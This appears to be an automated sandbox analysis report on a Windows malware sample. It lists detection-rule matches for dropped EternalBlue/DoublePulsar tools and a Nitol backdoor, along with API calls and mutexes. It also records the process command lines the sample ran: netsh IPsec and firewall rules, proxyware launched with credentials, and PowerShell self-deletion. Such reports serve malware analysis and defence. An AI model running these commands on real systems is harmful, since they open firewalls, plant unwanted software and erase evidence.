Source: C:\Windows\Temp\Eternalromance-1.4.0.exe, type: DROPPED	Matched rule: EquationGroup_Toolset_Apr17_Eternalromance date = 2017-04-15, hash2 = b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/, super_rule = f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d
Source: C:\Windows\Temp\Eternalromance-1.4.0.exe, type: DROPPED	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: C:\Windows\Temp\Wmicc.exe, type: DROPPED	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: C:\Windows\Temp\Eternalromance-1.4.0.xml, type: DROPPED	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: C:\Windows\Temp\dmgd-4.dll, type: DROPPED	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 reference_sample = a1340e418c80be58fb6bbb48d4e363de8c6d62ea59730817d5eda6ba17b2c7a7, os = windows, severity = x86, creation_date = 2021-01-12, scan_context = file, license = Elastic License v2, threat_name = Windows.Exploit.Eternalblue, fingerprint = 9e3b5f4f0b8ac683544886abbd9eecbf0253a7992ee5d99c453de67b9aacdccd, id = ead33bf8-1870-4d01-a223-edcbe262542f, last_modified = 2021-08-23
Source: C:\Windows\Temp\Doublepulsar-1.3.1.exe, type: DROPPED	Matched rule: EquationGroup_Toolset_Apr17_Erraticgopher_1_0_1 date = 2017-04-15, hash1 = 3d11fe89ffa14f267391bc539e6808d600e465955ddb854201a1f31a9ded4052, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Windows\Temp\Doublepulsar-1.3.1.exe, type: DROPPED	Matched rule: EquationGroup_Toolset_Apr17_Doublepulsar_1_3_1 date = 2017-04-15, hash1 = 15ffbb8d382cd2ff7b0bd4c87a7c0bffd1541c2fe86865af445123bc0b770d13, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Windows\Temp\Doublepulsar-1.3.1.exe, type: DROPPED	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll, type: DROPPED	Matched rule: MALWARE_Win_Nitol author = ditekSHen, description = Detects Nitol backdoor
Source: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll, type: DROPPED	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winEXE@84/177@17/100

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 27_2_1000C616 OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,	27_2_1000C616
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_00414110 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,CloseHandle,	29_2_00414110
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_0040D180 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,CloseHandle,CloseHandle,	29_2_0040D180

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 29_2_00413550 GetVersionExA,sprintf,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetTickCount,sprintf,GetUserNameA,atol,atol,GetDriveTypeA,GetDiskFreeSpaceExA,OpenSCManagerA,OpenServiceA,QueryServiceStatus,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,atoi,_mbscmp,_mbsstr,GetSystemDirectoryA,lstrcatA,CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,wsprintfA,

29_2_00413550

Source: C:\Users\user\Desktop\exe1.bin.bak.exe

Code function: OpenSCManagerA,CreateServiceA,CloseServiceHandle,CloseServiceHandle,

0_2_004080E0

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 27_2_1000B802 CreateToolhelp32Snapshot,Process32First,CloseHandle,Process32Next,FindCloseChangeNotification,

27_2_1000B802

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 27_2_100168C0 LoadTypeLib,GetUserDefaultLCID,LHashValOfNameSys,RegisterTypeLib,CLSIDFromProgID,CLSIDFromString,CoCreateInstance,CoCreateInstance,CoCreateInstance,OleRun,

27_2_100168C0

Source: C:\Windows\Temp\Wmicc.exe

Code function: 55_2_0041A014 FindResourceA,LoadResource,LockResource,

55_2_0041A014

Source: C:\Users\user\Desktop\exe1.bin.bak.exe

Code function: 0_2_00408AE6 OpenSCManagerA,OpenServiceA,ChangeServiceConfigA,CloseServiceHandle,CloseServiceHandle,

0_2_00408AE6

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8012:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:12488:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:17448:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:24248:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7948:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:13792:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:14488:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7744:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7192:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:12108:120:WilError_03
Source: C:\Windows\Temp\MpMgSvc.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Brute_2024
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:14356:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7824:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7892:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:14288:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6464:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:14604:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7332:120:WilError_03
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:13580:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:15156:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8076:120:WilError_03
Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Google_DRIVE
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:12988:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8132:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:12464:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:14828:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aw0th0bd.huj.ps1

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\exe1.bin.bak.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\Temp\MpMgSvc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: exe1.bin.bak.exe	Virustotal: Detection: 86%
Source: exe1.bin.bak.exe	ReversingLabs: Detection: 78%

Source: unknown	Process created: C:\Users\user\Desktop\exe1.bin.bak.exe "C:\Users\user\Desktop\exe1.bin.bak.exe"
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add policy name=Block
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filterlist name=Filter1
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filteraction name=FilteraAtion1 action=block
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add rule name=Rule1 policy=Block filterlist=Filter1 filteraction=FilteraAtion1
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static set policy name=Block assign=y
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\Users\user\Desktop\exe1.bin.bak.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\Temp\MpMgSvc.exe "C:\WINDOWS\Temp\MpMgSvc.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Source: unknown	Process created: C:\Windows\Temp\Hooks.exe "C:\WINDOWS\Temp\Hooks.exe"
Source: unknown	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\SysWOW64\svchost.exe -k GraphicsPerfSvcsGroup -s GraphicsPerfSvcs
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\WINDOWS\Temp\Hooks.exe"
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\system32\svchost.exe"
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_ctfmoon dir=in program=C:\Windows\Microsoft.NET\ctfmoon.exe action=allow
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_ctfmoon dir=out program=C:\Windows\Microsoft.NET\ctfmoon.exe action=allow
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule name=Microsoft_ctfmoon new enable=yes
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Edge dir=in program=C:\Windows\Microsoft.NET\Meson.exe action=allow
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Edge dir=out program=C:\Windows\Microsoft.NET\Meson.exe action=allow
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule name=Microsoft_Edge new enable=yes
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Dcom dir=in program=C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe action=allow
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Dcom dir=out program=C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe action=allow
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule name=Microsoft_Dcom new enable=yes
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Store dir=in program=C:\WINDOWS\Microsoft.Net\Framework\v3.0\WmiPrvSER.exe action=allow
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Store dir=out program=C:\WINDOWS\Microsoft.Net\Framework\v3.0\WmiPrvSER.exe action=allow
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule name=Microsoft_Store new enable=yes
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\MpMgSvc.exe	Process created: C:\Windows\Temp\Wmicc.exe "C:\Windows\Temp\Wmicc.exe"
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\Microsoft.NET\ctfmoon.exe C:\Windows\Microsoft.NET\ctfmoon.exe -email=usax138@protonmail.com -password=123456Aa. -device-name=Win32 -accept-tos
Source: C:\Windows\Microsoft.NET\ctfmoon.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\Microsoft.NET\Meson.exe C:\Windows\Microsoft.NET\Meson.exe
Source: C:\Windows\Microsoft.NET\Meson.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add policy name=Block	Jump to behavior
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filterlist name=Filter1	Jump to behavior
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP	Jump to behavior
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP	Jump to behavior
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP	Jump to behavior
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filteraction name=FilteraAtion1 action=block	Jump to behavior
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add rule name=Rule1 policy=Block filterlist=Filter1 filteraction=FilteraAtion1	Jump to behavior
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static set policy name=Block assign=y	Jump to behavior
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\Users\user\Desktop\exe1.bin.bak.exe"	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Process created: C:\Windows\Temp\Wmicc.exe "C:\Windows\Temp\Wmicc.exe"	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\WINDOWS\Temp\Hooks.exe"
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\system32\svchost.exe"
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_ctfmoon dir=in program=C:\Windows\Microsoft.NET\ctfmoon.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_ctfmoon dir=out program=C:\Windows\Microsoft.NET\ctfmoon.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule name=Microsoft_ctfmoon new enable=yes
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Edge dir=in program=C:\Windows\Microsoft.NET\Meson.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Edge dir=out program=C:\Windows\Microsoft.NET\Meson.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule name=Microsoft_Edge new enable=yes
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Dcom dir=in program=C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Dcom dir=out program=C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule name=Microsoft_Dcom new enable=yes
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Store dir=in program=C:\WINDOWS\Microsoft.Net\Framework\v3.0\WmiPrvSER.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=Microsoft_Store dir=out program=C:\WINDOWS\Microsoft.Net\Framework\v3.0\WmiPrvSER.exe action=allow
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule name=Microsoft_Store new enable=yes
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\Microsoft.NET\ctfmoon.exe C:\Windows\Microsoft.NET\ctfmoon.exe -email=usax138@protonmail.com -password=123456Aa. -device-name=Win32 -accept-tos
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\Microsoft.NET\Meson.exe C:\Windows\Microsoft.NET\Meson.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe

Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
